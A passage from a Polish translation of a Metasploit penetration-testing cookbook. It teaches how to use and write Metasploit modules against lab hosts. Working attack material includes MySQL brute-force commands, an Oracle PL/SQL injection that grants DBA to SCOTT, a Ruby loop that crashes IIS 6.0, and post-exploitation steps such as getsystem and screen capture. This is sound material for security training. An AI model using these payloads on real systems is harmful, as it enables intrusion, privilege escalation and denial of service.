System w pełni zabezpieczony!

Metasploit Receptury pentestera

Wydanie II

Najlepsze przepisy na bezpieczeństwo Twoich danych!

Monika Agarwal
Abhinav Singh

Helion

[PACKT] open source
PUBLISHING
community experience distilled

Tytuł oryginału: Metasploit Penetration Testing Cookbook, Second Edition

Tłumaczenie: Lech Lachowski

ISBN: 978-83-246-9131-9

First published in the English language under the title
„Metasploit Penetration Testing Cookbook, Second Edition".

Wydawnictwo HELION
ul. Kościuszki 1c, 44-100 GLIWICE
tel. 32 231 22 19, 32 230 98 63
e-mail: helion@helion.pl
WWW: http://helion.pl (księgarnia internetowa, katalog książek)

Drogi Czytelniku!
Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres
http://helion.pl/user/opinie/metarp
Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.

Printed in Poland.

Spis treści

5

ROZDZIAŁ

Praca z modułami podczas testów penetracyjnych

W tym rozdziale:

- Praca z modułami pomocniczymi skanera
- Praca z administracyjnymi modułami pomocniczymi
- Moduły wstrzyknięcia zapytania SQL oraz ataku DoS
- Moduły fazy poeksploatacyjnej
- Podstawy budowy modułu
- Analiza gotowego modułu
- Budowanie własnego modułu fazy poeksploatacyjnej

Wprowadzenie

W pierwszym rozdziale omówiliśmy podstawy frameworku Metasploit i stwierdziliśmy, że ma architekturę modułową. Oznacza to, że wszystkie exploity, ładunki, kodery oraz inne jego komponenty mają postać modułów. Modułowa architektura ułatwia rozszerzanie funkcjonalności frameworku. Każdy programista może opracować swój własny moduł i zaimportować go do frameworku. Pełny proces testów penetracyjnych może wymagać uruchomienia kilku modułów. Kiedy rozpoczynamy np. fazę eksploatacji, używamy modułu ładunku, a gdy już złamiemy zabezpieczenia maszyny docelowej, możemy skorzystać z kilku modułów poeksploatacyjnych.

Różne moduły znajdą także zastosowanie przy łączeniu się z bazą danych oraz zapisywaniu w niej wyników przeprowadzanych testów. Mimo że moduły nie są omawiane zbyt szeroko podczas pracy z frameworkiem Metasploit, to stanowią jego istotę, więc powinieneś dobrze poznać sposób ich funkcjonowania.

W tym rozdziale skoncentrujemy się na folderze *opt/metasploit/msf3/modules*, zawierającym pełną listę użytecznych modułów, które mogą ułatwić zadanie przeprowadzania testów penetracyjnych. Stosowanie modułów jest bardzo podobne do tego, co omawialiśmy do tej pory, ale istnieje pewna różnica w ich funkcjonalności. W dalszej części rozdziału przeanalizujemy też niektóre z istniejących modułów, a na koniec zajmiemy się tworzeniem własnych modułów dla frameworku Metasploit. Rozpocznijmy eksperymenty z modułami.

Praca z modułami pomocniczymi skanera

Zacznijmy eksperymentowanie od zapoznania się z modułami skanera. Poznaliśmy szczegółowo proces skanowania, stosując narzędzie `nmap`. W tej recepturze przeanalizujemy niektóre z gotowych modułów skanujących, które są dostarczane wraz z frameworkiem Metasploit. Choć `nmap` jest wszechstronnym narzędziem skanującym, może się zdarzyć, że będziemy musieli wykonać skanowanie konkretnego typu, takie jak skanowanie pod kątem obecności bazy danych MySQL.

Metasploit dostarcza pełną listę takich użytecznych skanerów. Spróbujmy zastosować je w praktyce.

Przygotuj się

Listę dostępnych skanerów znajdziesz w folderze */opt/metasploit/msf3/modules/auxiliary/scanner*.

Ta lista obejmuje ponad 35 różnych modułów skanowania, które mogą być stosowane w różnych scenariuszach testów penetracyjnych.

Jak to wykonać

Nauczmy się krok po kroku, jak pracować z pomocniczymi modułami skanerów. Zaczniemy od podstawowego skanera HTTP. Przekonasz się, że jest dostępnych wiele różnych opcji skanowania HTTP. Poniżej omówimy kilka z nich:

- Przyjrzyjmy się skryptowi `dir_scanner`. Przeprowadza on skanowanie pojedynczego hosta lub całego zakresu sieci w poszukiwaniu interesujących list folderów, które mogą zostać poddane dalszemu badaniu, by zebrać informacje o celu.

- Aby rozpocząć korzystanie z modułu pomocniczego, musimy wpisać w konsoli `msfconsole` następujące polecenia:

```
msf > use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) > show options
```

Polecenie `show options` wyświetli listę wszystkich dostępnych opcjonalnych parametrów, które można zastosować dla modułu skanera. Najważniejszym z nich jest parametr `RHOSTS`, który pozwala wskazać pojedynczą maszynę lub grupę komputerów w danej sieci.

Jak to działa

Omówmy konkretny moduł skanera wraz z dodatkowymi danymi wejściowymi. Moduł skanera `mysql_login` jest modułem ataków siłowych (ang. *brute force*), który skanuje dostępność serwera MySQL na maszynie docelowej i próbuje zalogować się do bazy danych poprzez atak metodą *brute force* w sposób następujący:

```
msf > use auxiliary/scanner/mysql/mysql_login

msf auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):
   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             yes       Try blank pas...
   BRUTEFORCE_SPEED  5                yes       How fast to...
   PASSWORD                           no        A specific password...
   PASS_FILE                          no        File containing...
   RHOSTS                             yes       The target address...
   RPORT             3306             yes       The target port...
   STOP_ON_SUCCESS   false            yes       Stop guessing...
   THREADS           1                yes       The number of...
   USERNAME                           no        A specific user...
   USERPASS_FILE                      no        File containing...
   USER_FILE                          no        File containing...
   VERBOSE           true             yes       Whether to print...
```

Jak widzisz, istnieje wiele różnych parametrów, które możemy ustawić dla tego modułu. Im lepiej wykorzystamy możliwości modułu, tym większe są szanse na przeprowadzenie udanych testów penetracyjnych. Możemy dostarczyć pełną listę nazw użytkowników oraz haseł, które moduł może wykorzystać do próby zalogowania się na maszynie docelowej.

Dostarczmy te informacje do modułu:

```
msf auxiliary(mysql_login) > set USER_FILE /nazwy_uzytkownikow.txt
USER_FILE => /nazwy_uzytkownikow.txt
msf auxiliary(mysql_login) > set PASS_FILE /hasla.txt
PASS_FILE => /hasla.txt
```

Jesteśmy gotowi, aby zastosować metodę ataku siłowego. Ostatnim krokiem jest wybranie celu i wykonanie polecenia `run`, aby uruchomić moduł:

```
msf auxiliary(mysql_login) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(mysql_login) > run
[*] 192.168.56.101:3306 - Found remote MySQL version 5.0.51a
[*] 192.168.56.101:3306 Trying username:'administrator' with password:''
```

Jak widać w powyższym listingu, moduł rozpoczął swoje działanie od próby znalezienia serwera MySQL na maszynie docelowej. Po stwierdzeniu obecności tego serwera moduł przeprowadza sprawdzanie kombinacji nazw użytkownika oraz haseł dostarczonych w pliku zewnętrznym. Przeprowadzana w tym scenariuszu operacja jest również jedną z najczęściej wykonywanych w Metasploit czynności z wykorzystaniem modułów. Dostępnych jest wiele zautomatyzowanych modułów ataków siłowych, które służą do łamania słabych haseł.

Zobacz również

Omówmy szybki i prosty sposób generowania plików haseł za pomocą frameworku Metasploit. Pokaźna lista haseł może być pomocna podczas testów penetracyjnych metodą *brute force*.

Generowanie haseł za pomocą narzędzia Crunch

Przy każdym ataku siłowym konieczne jest posiadanie obszernej listy haseł, które wykorzystamy do prób logowania. Listy haseł można pobrać z zasobów internetowych. Pentester może też wygenerować listę haseł za pomocą narzędzia *John the Ripper* lub skorzystać z wbudowanego w system BackTrack narzędzia `crunch`, aby utworzyć taką listę na podstawie wskazanego zestawu znaków. Narzędzie `crunch` znajduje się w folderze */pentest/passwords/crunch*. Jeśli go nie ma w Twojej wersji systemu BackTrack, możesz je zainstalować, wprowadzając w oknie terminala następujące polecenie:

```
root@bt: cd /pentest/passwords
root@bt:/pentest/passwords# apt-get install crunch
```

Przykładowa składnia narzędzia `crunch` jest następująca:

```
./crunch <dł_min> <dł_maks> [-f /ścieżka/do_pliku/charset.lst
↪nazwa_zestawu_znaków][-o lista_haseł.txt][-t [niezmienny_ciąg_znaków]@@@@]
↪[-s początkowy_ciąg_znaków][-c liczba_linii_pliku_tekstowego]
```

Poniżej opisano znaczenie niektórych użytecznych parametrów narzędzia `crunch`:

- Parametr *dł_min* określa początkową minimalną długość ciągu znaków.
- Parametr *dł_maks* określa końcową maksymalną długość ciągu znaków.
- Parametr *nazwa_zestawu_znaków* określa predefiniowany zestaw znaków, który ma być wykorzystany do wygenerowania listy haseł.

- Parametr `-b: liczba[kb/mb/gb]` określa rozmiar pliku wyjściowego w wybranej jednostce (MB, KB lub GB).
- Parametr `-f </ścieżka/do_pliku/charset.lst> <nazwa_zestawu_znaków>` pozwala określić predefiniowany zestaw znaków z pliku *charset.lst* (np. `hex-lower`).
- Parametr `-o <lista_haseł.txt>` określa plik, w którym zostaną zapisane dane wyjściowe.
- Parametr `-t [niezmienny_ciąg_znaków]<@,%^>` służy do dodawania w wygenerowanym haśle niezmieniającego się ciągu znaków oraz dodatkowych, występujących w dowolnej liczbie, losowych, pojedynczych znaków o ustalonym formacie, którego poszczególne opcje oznaczają: `@` — małe litery, `,` — wielkie litery, `%` — liczby, `^` — symbole. Przykładowo, wygenerowane hasło z opcją `-t @@@helion@@@` może wyglądać następująco *bgrhelionoip*.

Pełną dokumentację narzędzia `crunch` można znaleźć na stronie *http://sourceforge.net/projects/crunch-wordlist/files/crunchwordlist/*.

Możesz przejść do pełnej dokumentacji, aby dowiedzieć się, w jaki sposób korzystać z tego narzędzia do generowania listy długich i skomplikowanych haseł.

Inne zasoby

Możemy również zastosować listy haseł pozyskane w wyniku przeprowadzonych przez osoby trzecie ataków na różne serwisy internetowe. Cenny zasób takich haseł znajdziesz na stronie *http://www.skullsecurity.org/wiki/index.php/Passwords*.

Listy haseł w systemie BackTrack zlokalizowane są w folderze */pentest/passwords/wordlists*. W systemie Kali Linux ten zasób znajduje się w katalogu */usr/share/wordlists*.

Praca z administracyjnymi modułami pomocniczymi

Kontynuując eksperymenty z modułami, przejdźmy do modułów administracyjnych, które mogą być bardzo przydatne podczas testów penetracyjnych. Moduły administracyjne, w zależności od ich funkcjonalności, mogą służyć do różnych celów, takich jak poszukiwanie panelu administracyjnego, loginu administratora itd. W tej recepturze przyjrzymy się prostemu administracyjnemu modułowi pomocniczemu o nazwie `mysql_enum`.

Przygotuj się

Moduł `mysql_enum` jest specjalnym modułem narzędziowym dla serwerów baz danych MySQL. Zapewnia prostą enumerację serwera baz danych MySQL, przy założeniu że odpowiednie poświadczenia użytkownika są przyznane dla połączenia zdalnego. Zobaczmy, jak to działa w praktyce.

Jak to wykonać

Poniższe kroki określają sposób pracy z administracyjnym modułem pomocniczym:

- Zaczniemy od uruchomienia interfejsu konsoli `msfconsole` i wprowadzenia ścieżki dostępu do modułu pomocniczego:

```
msf > use auxiliary/admin/mysql/mysql_enum

msf auxiliary(mysql_enum) > show options
Module options (auxiliary/admin/mysql/mysql_enum):
   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   PASSWORD                    no        The password for the...
   RHOST                       yes       The target address
   RPORT     3306              yes       The target port
   USERNAME                    no        The username to...
```

- Jak widać, moduł pozwala na zdefiniowanie takich parametrów jak `PASSWORD` (hasło), `USERNAME` (nazwa użytkownika) oraz `RHOST` (adres zdalnego hosta). Może to być pomocne przy pierwszym wyszukiwaniu potencjalnej bazy danych MySQL oraz podczas próby zdalnego logowania za pomocą podanych poświadczeń. Przeanalizujmy dane wyjściowe wyświetlone po wykonaniu komendy `exploit`:

```
msf auxiliary(mysql_enum) > exploit
[*] Configuration Parameters:
[*] C2 Audit Mode is Not Enabled
[*] xp_cmdshell is Enabled
[*] remote access is Enabled
[*] allow updates is Not Enabled
[*] Database Mail XPs is Not Enabled
[*] Ole Automation Procedures are Not Enabled
[*] Databases on the server:
[*] Database name:master
```

Moduł odpowiada dużą ilością przydatnych informacji. Informuje nas o tym, że powłoka `cmdshell` oraz zdalny dostęp zostały włączone w konfiguracji MySQL na maszynie docelowej. Zwraca również informację o nazwie bazy danych, która jest aktualnie uruchomiona na maszynie docelowej.

Istnieje kilka podobnych modułów przeznaczonych dla innych usług, takich jak MSSQL i Apache. Dla większości modułów sposób działania jest zbliżony. Pamiętaj, aby użyć polecenia `show options` w celu sprawdzenia, które parametry są wymagane.

Jak to działa

Administracyjne moduły pomocnicze wykorzystują prosty proces enumeracji, uruchamiając połączenie, a następnie wypróbowując różne kombinacje nazw użytkownika i haseł. Za pomocą tych modułów można również sprawdzić, czy serwer bazy danych umożliwia anonimowe logowanie. Ponadto można wykonać próbę logowania dla domyślnych poświadczeń. Dla serwera MySQL domyślne poświadczenia to nazwa użytkownika `scott` oraz hasło `tiger`.

Moduły wstrzyknięcia zapytania SQL oraz ataku DoS

Framework Metasploit jest przyjazny zarówno dla pentesterów, jak i hakerów. Jest tak dlatego, że pentester musi myśleć z perspektywy hakera, aby zabezpieczyć swoją sieć, usługi, aplikacje itd. Moduły wstrzyknięcia zapytania SQL (ang. *SQL injection* — SQLi) oraz ataków typu DoS (ang. *Denial of Service*) pomagają pentesterom w atakowaniu własnych usług w celu sprawdzenia, czy są one podatne na takie ataki. Warto więc szczegółowo omówić niektóre z tych modułów.

Przygotuj się

Moduł wstrzyknięcia SQL wykorzystuje znaną lukę w zabezpieczeniach określonego typu bazy danych, umożliwiając jej eksploatację i zapewniając nieautoryzowany dostęp. Wiadomo, że ta luka dotyczy baz danych Oracle 9i oraz 10g. Metasploit zawiera kilka modułów, które wykorzystują znany exploit baz danych Oracle w celu złamania ich zabezpieczeń poprzez wstrzyknięcie zapytania. Moduły można znaleźć w folderze *modules/auxiliary/sqli/oracle*.

Jak to wykonać

Przeanalizujmy lukę w zabezpieczeniach, która nosi nazwę Oracle DBMS_METADATA XML:

- Ta luka zwiększa uprawnienia użytkownika `DB_USER` do poziomu administratora bazy danych `DB_ADMINISTRATOR`. Wykorzystamy moduł `dbms_metadata_get_xml`:

```
msf auxiliary(dbms_metadata_get_xml) > show options

Module options (auxiliary/sqli/oracle/dbms_metadata_get_xml):
   Name    Current Setting      Required  Description
   ----    ---------------      --------  -----------
```

```
DBPASS  TIGER               yes       The password to...
DBUSER  SCOTT               yes       The username to...
RHOST                       yes       The Oracle host.
RPORT   1521                yes       The TNS port.
SID     ORCL                yes       The sid to authenticate.
SQL     GRANT DBA to SCOTT  no        SQL to execute.
```

- Moduł wymaga określenia podobnych parametrów, jakie stosowaliśmy do tej pory. Najpierw wykonywana jest próba zalogowania się za pomocą domyślnych poświadczeń, czyli odpowiednio nazwy użytkownika `scott` oraz hasła `tiger`. Gdy moduł uzyskuje status zalogowania jako użytkownik bazy danych, wykonuje exploit w celu zwiększenia uprawnień do poziomu administratora bazy danych. Uruchommy moduł w celu przetestowania maszyny docelowej:

```
msf auxiliary(dbms_metadata_get_xml) > set RHOST 192.168.56.1
msf auxiliary(dbms_metadata_get_xml) > set SQL YES

msf auxiliary(dbms_metadata_get_xml) > run
```

- Po pomyślnym wykonaniu modułu uprawnienia użytkownika zostaną zwiększone z `DB_USER` do `DB_ADMINISTRATOR`.

  Kolejnym modułem, który omówimy, jest moduł związany z atakami typu **DoS** (ang. *Denial of Service*). Przeanalizujemy prostą lukę w zabezpieczeniach usług IIS (ang. *Internet Information Services*) w wersji 6.0, która umożliwia atakującemu doprowadzenie do awarii serwera przez wysłanie żądania `POST`, zawierającego ponad `40000` parametrów żądania. Zajmijmy się tą luką pokrótce. Moduł został przetestowany na serwerze z niezaktualizowaną wersją systemu Windows 2003 z uruchomionymi usługami IIS w wersji 6.0. Modułu `ms10_065_ii6_asp_dos` użyjemy w sposób następujący:

```
msf > use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos

msf auxiliary(ms10_065_ii6_asp_dos) > show options

Module options (auxiliary/dos/windows/http/ms10_065_ii6_asp_dos):
   Name   Current Setting   Required  Description
   ----   ---------------   --------  -----------
   RHOST                    yes       The target address
   RPORT  80                yes       The target port
   URI    /page.asp         yes       URI to request
   VHOST                    no        The virtual host name to...
msf auxiliary(ms10_065_ii6_asp_dos) > set RHOST 192.168.56.1
RHOST => 192.168.56.1
msf auxiliary(ms10_065_ii6_asp_dos) > run
[*] Attacking http://192.168.56.1:80/page.asp
```

- Gdy moduł zostanie uruchomiony za pomocą polecenia `run`, zaczyna atakować docelowy serwer IIS poprzez wysłanie żądania HTTP na porcie `80` z adresem URL do strony `page.asp`. Pomyślne wykonanie modułu doprowadzi do całkowitej odmowy usługi (DoS) na serwerze IIS.

Jak to działa

Rzućmy okiem na dwie luki w zabezpieczeniach. Luka bazy danych firmy Oracle jest eksploatowana za pomocą wstrzykiwania niestandardowej funkcji PL/SQL, która jest wykonywana w kontekście SYS i zwiększa uprawnienia użytkownika `scott` do uprawnień administratora. Rozważmy tę przykładową funkcję:

```
CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN '';
END;
/
```

Wstrzykiwanie tej funkcji w podatnej na ataki procedurze doprowadzi do zwiększenia uprawnień dla użytkownika `scott`:

```
SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','') FROM dual;
```

Powyższy wiersz kodu wyjaśnia proces wstrzyknięcia. Szczegółowa analiza luki w zabezpieczeniach oprogramowania firmy Oracle wykracza poza zakres tej książki.

Przejdźmy do modułu ataków DoS, który wykorzystuje lukę w zabezpieczeniach serwera IIS w wersji 6.0. Atakujący wysyła żądanie `POST`, które zawiera ponad `40000` parametrów żądania. Żądanie ma postać kodowania typu `application/x-www-form-urlencoded`.

Oto część skryptu, która obsługuje ten moduł:

```
while(1)
        begin
          connect
          payload = "C=A&" * 40000
          length = payload.size
          sploit = "HEAD #{datastore['URI']} HTTP/1.1\r\n"
          sploit << "Host: #{datastore['VHOST'] || rhost}\r\n"
          sploit << "Connection:Close\r\n"
          sploit << "Content-Type: application/x-www-formurlencoded\r\n"
          sploit << "Content-Length:#{length} \r\n\r\n"
          sploit << payload
          sock.put(sploit)
          #print_status("DoS packet sent.")
          disconnect
  rescue Errno::ECONNRESET
          next
  end
end
```

Jak widać powyżej, skrypt generuje ładunek o rozmiarze większym niż 40000. Następnie nawiązywane jest połączenie na porcie 80 w celu wysłania żądania HTTP do serwera IIS. Po przetworzeniu żądania przez serwer nastąpi awaria i zatrzymanie pracy do momentu ponownego uruchomienia serwera.

Moduły fazy poeksploatacyjnej

Dotychczas omawialiśmy głównie działania fazy poeksploatacyjnej przeprowadzane za pomocą różnych funkcji Meterpretera. Mamy też jednak do dyspozycji osobną dedykowaną listę modułów, które mogą poszerzyć doświadczenie wykonywania testów penetracyjnych. Ponieważ są to moduły fazy poeksploatacyjnej, będziemy potrzebowali aktywnej sesji na maszynie docelowej. W tej recepturze postaramy się uzyskać dostęp do celu.

Przygotuj się

Moduł fazy poeksploatacyjnej to zbiór jednych z najbardziej interesujących i przydatnych funkcji, które można wykorzystać podczas testów penetracyjnych. Przeanalizujmy szybko niektóre z nich. Użyjemy jako maszyny docelowej niezaktualizowanego systemu Windows 7 z aktywną sesją Meterpretera.

Jak to wykonać

Przejdźmy do fazy poeksploatacyjnej, w której wykonamy następujące czynności:

1. Moduły fazy poeksploatacyjnej znajdują się w folderze *modules/post/windows/gather*. Zacznijmy od prostego modułu `enum_logged_on_users`, który wyświetli listę aktualnie zalogowanych użytkowników na maszynie z systemem Windows.

   Uruchomimy ten moduł poprzez aktywną sesję Meterpretera. Pamiętaj również, aby zwiększyć uprawnienia użytkownika za pomocą polecenia `getsystem` w celu uniknięcia jakichkolwiek błędów w trakcie uruchamiania modułu:

```
meterpreter > getsystem
...got system (via technique 4).
meterpreter > run post/windows/gather/enum_logged_on_users
[*] Running against session 1
Current Logged Users
====================
 SID                                            User
 ---                                            ----
 S-1-5-21-2350281388-457184790-407941598        DARKLORD-PC\DARKLORD
Recently Logged Users
=====================
 SID               Profile Path
```

```
---              ------------
S-1-5-18         %systemroot%\system32\config\systemprofile
S-1-5-19         C:\Windows\ServiceProfiles\LocalService
S-1-5-20         C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-23502   C:\Users\DARKLORD
S-1-5-21-235     C:\Users\Winuser
```

Pomyślne uruchomienie modułu powoduje wyświetlenie dwóch tabel. Pierwsza z nich zawiera listę aktualnie zalogowanych użytkowników, a druga informacje o ostatnio zalogowanych użytkownikach. Prześledź odpowiednią ścieżkę podczas uruchamiania modułów. Do ich uruchomienia użyliśmy polecenia `run`. Ponieważ wszystkie są skryptami języka Ruby, Meterpreter może je łatwo zidentyfikować.

2. Przeanalizujmy jeszcze jeden przykład. Istnieje pewien interesujący moduł fazy poeksploatacyjnej, który przechwytuje zrzut ekranu pulpitu maszyny docelowej. Moduł ten może być przydatny, gdy musimy się dowiedzieć, czy istnieje jakikolwiek aktywny użytkownik, czy nie. Jest to następujący moduł:

```
meterpreter > run post/windows/gather/screen_spy
[*] Migrating to explorer.exe pid: 1104
[*] Migration successful
[*] Capturing 60 screenshots with a delay of 5 seconds
```

Możesz zauważyć, jak łatwe w użyciu i przydatne mogą być moduły fazy poeksploatacyjnej. W najbliższej przyszłości twórcy frameworku Metasploit będą skupiać się raczej na modułach fazy poeksploatacyjnej, a nie na Meterpreterze, ponieważ znacznie zwiększają one funkcjonalność testów penetracyjnych. Jeśli więc szukasz sposobności, aby wspomóc społeczność Metasploit, możesz popracować nad modułami fazy poeksploatacyjnej.

Jak to działa

Przeanalizuj skrypty *enum_logged_on_user.rb* oraz *screen_spy.rb* z folderu *modules/post/windows/gather*. Może pomóc Ci to lepiej zrozumieć sposób funkcjonowania tych modułów.

Podstawy budowy modułu

Jak dotąd omówiliśmy przydatność modułów i potencjał, jaki mogą dodać do frameworku Metasploit. Aby biegle opanować korzystanie z tego frameworku, konieczne jest zrozumienie funkcjonowania i budowy modułów. Pomoże to w szybkim rozszerzeniu możliwości frameworku zgodnie z naszymi potrzebami. W kilku kolejnych recepturach zobaczymy, w jaki sposób możemy używać skryptów Ruby do budowania własnych modułów i importować je do frameworku.

Przygotuj się

Aby rozpocząć budowę własnego modułu, potrzebujemy podstawowej znajomości skryptów Ruby. Omówiliśmy już wykorzystanie i implementację języka programowania Ruby przy pisaniu skryptów Meterpretera. W tej recepturze zobaczymy, jak posłużyć się językiem Ruby przy tworzeniu nowych modułów dla frameworku. Proces ten jest bardzo podobny do pisania skryptów Meterpretera. Różnica polega na zastosowaniu zestawu uprzednio zdefiniowanych wierszy kodu, które są niezbędne, aby framework mógł zrozumieć wymagania i naturę modułu. Omówmy więc niektóre z zasadniczych wymagań, które muszą być spełnione przy budowie modułów.

Jak to wykonać

Zacznijmy od podstaw tworzenia modułów:

- Aby moduł był czytelny dla frameworku, musimy zaimportować biblioteki MSF w sposób następujący:

```
require 'msf/core'
```

  Jest to pierwszy i najważniejszy wiersz kodu każdego skryptu. Wskazuje, że moduł będzie zawierał wszystkie zależności i funkcjonalności frameworku Metasploit.

- Kolejny wiersz definiuje klasę, która dziedziczy właściwości rodziny modułów pomocniczych. Moduł pomocniczy może importować kilka funkcjonalności, takich jak skanowanie, otwieranie połączeń, korzystanie z bazy danych itd.:

```
class Metasploit3 < Msf::Auxiliary
```

- Instrukcja `include` może być wykorzystana w celu dodania do tworzonego modułu konkretnej funkcjonalności frameworku. Jeżeli budujesz np. moduł skanera, możesz zastosować instrukcję:

```
include Msf::
```

- Następujący wiersz doda do modułu funkcjonalność zdalnego skanowania TCP:

```
include Msf::Exploit::Remote::TCP
```

- Poniższy fragment kodu importuje główne biblioteki modułu skanowania z bibliotek frameworku Metasploit:

```
include Msf::Exploit::Remote::TCP
include Msf::Exploit::Capture
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
```

- Kolejny fragment skryptu stanowi wprowadzenie do modułu, dostarczając informacje takie jak jego nazwa, wersja, autor, opis itd.:

```
def initialize
            super(
```

```
                'Name' => 'TCP Port Scanner',
                'Version' => '$Revision$',
                'Description' => 'Enumerate open TCP services',
                'Author' => [ darklord ],
                'License' => MSF_LICENSE
        )
```

- Następnych kilka wierszy skryptu jest używanych do inicjowania jego wartości. Opcje oznaczone jako `true` są zasadniczo wymagane dla modułów, natomiast opcje oznaczone jako `no` są opcjonalne. Te wartości mogą być wprowadzane lub zmieniane w trakcie uruchamiania modułu:

```
register_options(
                [
OptString.new('PORTS', [true, "Ports to scan (e.g. 25,80,110-900)",
➥"1-10000"]),
OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds",
➥1000]),
OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check
➥per host", 10]), self.class)
deregister_options('RPORT')
```

Są pewne wspólne wiersze skryptu, które znajdziesz w każdym module. Analiza wbudowanych skryptów jest najlepszym sposobem, aby dowiedzieć się więcej o ich budowie. Istnieje kilka opracowań na temat tworzenia modułów, ale najlepszym sposobem na naukę jest opanowanie pisania skryptów Ruby i analizowanie istniejących modułów. W następnej recepturze przeanalizujemy od podstaw cały moduł.

Analiza gotowego modułu

W poprzedniej recepturze zapoznaliśmy się z podstawami budowania własnych modułów. Następnym krokiem będzie analiza istniejących modułów. Jeśli chcesz zgłębić tajniki przygotowywania modułów i przyczynić się do rozwoju platformy, powinieneś dokładniej zapoznać się ze skryptami istniejących modułów.

Przygotuj się

Przeanalizujemy prosty moduł FTP, aby zgłębić tematykę budowania modułów.

Zaczniemy od miejsca, w którym zakończyliśmy poprzednią recepturę. Omówiliśmy już podstawowy szablon modułu, przejdźmy więc od głównej części skryptu.

Jak to wykonać

Przeanalizujemy moduł anonimowego dostępu FTP:

1. Główny skrypt tego modułu znajduje się w folderze *opt/Metasploit/msf3/modules/auxiliary/scanner/ftp/anonymous.rb*

   Oto pełny skrypt:

```
class Metasploit3 < Msf::Auxiliary
        include Msf::Exploit::Remote::Ftp
        include Msf::Auxiliary::Scanner
        include Msf::Auxiliary::Report
        def initialize
                super(
                        'Name'       => 'Anonymous FTP Access Detection',
                        'Version'    => '$Revision: 14774 $',
                        'Description'=> 'Detect anonymous (read/write)
                        ↪FTP server access.',
                        'References' =>
                                [
                                        ['URL', 'http://en.wikipedia.org/
                                        ↪wiki/File_Transfer_Protocol#
                                        ↪Anonymous_FTP'],
                                ],
                        'Author'     => 'Matteo Cantoni <goony[at]
                        ↪nothink.org>',
                        'License'    => MSF_LICENSE
                )
                register_options(
                        [
                                Opt::RPORT(21),
                        ], self.class)
        end
        def run_host(target_host)
                begin
                res = connect_login(true, false)
                banner.strip! if banner
                dir = Rex::Text.rand_text_alpha(8)
                if res
                        write_check = send_cmd( ['MKD', dir] , true)
                        if (write_check and write_check =~ /^2/)
                                send_cmd( ['RMD', dir] , true)
                                print_status("#{target_host}:#{rport}
                                ↪Anonymous READ/WRITE (#{banner})")
                                access_type = "rw"
                        else
                                print_status("#{target_host}:#{rport}
                                ↪Anonymous READ (#{banner})")
                                access_type = "ro"
                        end
```

```
                        report_auth_info(
                                :host   => target_host,
                                :port   => rport,
                                :sname  => 'ftp',
                                :user   => datastore['FTPUSER'],
                                :pass   => datastore['FTPPASS'],
                                :type   => "password_#{access_type}",
                                :active => true
                        )
                end
                disconnect
                rescue ::Interrupt
                        raise $!
                rescue ::Rex::ConnectionError, ::IOError
                end
        end
end
```

Przejdźmy do następnego punktu i przeanalizujmy skrypt szczegółowo.

Jak to działa

Zacznijmy od analizy głównej części skryptu, aby zrozumieć, jak działa.

Ta funkcja służy do rozpoczęcia połączenia. Zmienna `res` posiada wartość logiczną `true` (prawda) lub `false` (fałsz). Funkcja `connect_login` jest specyficzną funkcją używaną przez moduł w celu nawiązania połączenia ze zdalnym hostem. W zależności od tego, czy uda się nawiązać połączenie, odpowiednia wartość logiczna jest zapisywana w zmiennej `res`:

```
def run_host(target_host)
          begin
          res = connect_login(true, false)
          banner.strip! if banner
          dir = Rex::Text.rand_text_alpha(8)
```

Po ustanowieniu połączenia moduł próbuje sprawdzić, czy anonimowy użytkownik posiada uprawnienia odczytu/zapisu (ang. *read/write*). Zmienna `write_check` sprawdza, czy operacja zapisu jest możliwa. Następnie sprawdzane jest, czy operacja została zakończona powodzeniem. W zależności od statusu uprawnień na ekranie wyświetlany jest odpowiedni komunikat. Jeśli operacja zapisu nie powiedzie się, zostanie wyświetlony status `ro` lub `read-only` (tylko do odczytu):

```
if res
  write_check = send_cmd( ['MKD', dir] , true)
  if (write_check and write_check =~ /^2/)
         send_cmd( ['RMD', dir] , true)
                                print_status("#{target_host}:#{rport}
                                ↪Anonymous READ/WRITE (#{banner})")
 access_type = "rw"
```

```
        else
                                                print_status("#{target_host}:#{rport}
                                                ↪Anonymous
    access_type="ro"
```

Następna funkcja służy do zgłaszania informacji o autoryzacji. Zawierają one ważne parametry, takie jak nazwa hosta, numer portu, nazwa użytkownika, hasło itd. Są to wartości, które pojawiają się, gdy używamy polecenia `show options`, są więc zależne od użytkownika.

```
    report_auth_info(
              :host   => target_host,
              :port   => rport,
              :sname  => 'ftp',
              :user   => datastore['FTPUSER'],
              :pass   => datastore['FTPPASS'],
              :type   => "password_#{access_type}",
              :active => true
                 )
    end
```

To była szybka demonstracja działania prostego modułu dostępnego we frameworku Metasploit. Możesz zmienić istniejące skrypty odpowiednio do swoich potrzeb. Czyni to z tego frameworku niezwykle przenośną platformę do programowania. Jak już powiedzieliśmy, najlepszym sposobem na naukę budowania modułów jest analizowanie istniejących skryptów.

W następnej recepturze zobaczymy, jak zbudować własny moduł i przenieść go do frameworku Metasploit.

Budowanie własnego modułu fazy poeksploatacyjnej

Omówiliśmy już wszystkie podstawowe kwestie dotyczące budowania modułów. W tej recepturze zajmiemy się przygotowaniem własnego modułu i zaimportowaniem go do frameworku Metasploit. Budowanie modułów może być bardzo przydatne, gdyż daje możliwość rozszerzenia funkcjonalności frameworku w zależności od własnych potrzeb.

Przygotuj się

Zbudujmy mały moduł fazy poeksploatacyjnej, który przeprowadzi enumerację wszystkich zainstalowanych na maszynie docelowej aplikacji. Ponieważ jest to moduł fazy poeksploatacyjnej, będziemy potrzebować maszyny ze złamanymi zabezpieczeniami, aby uruchomić moduł:

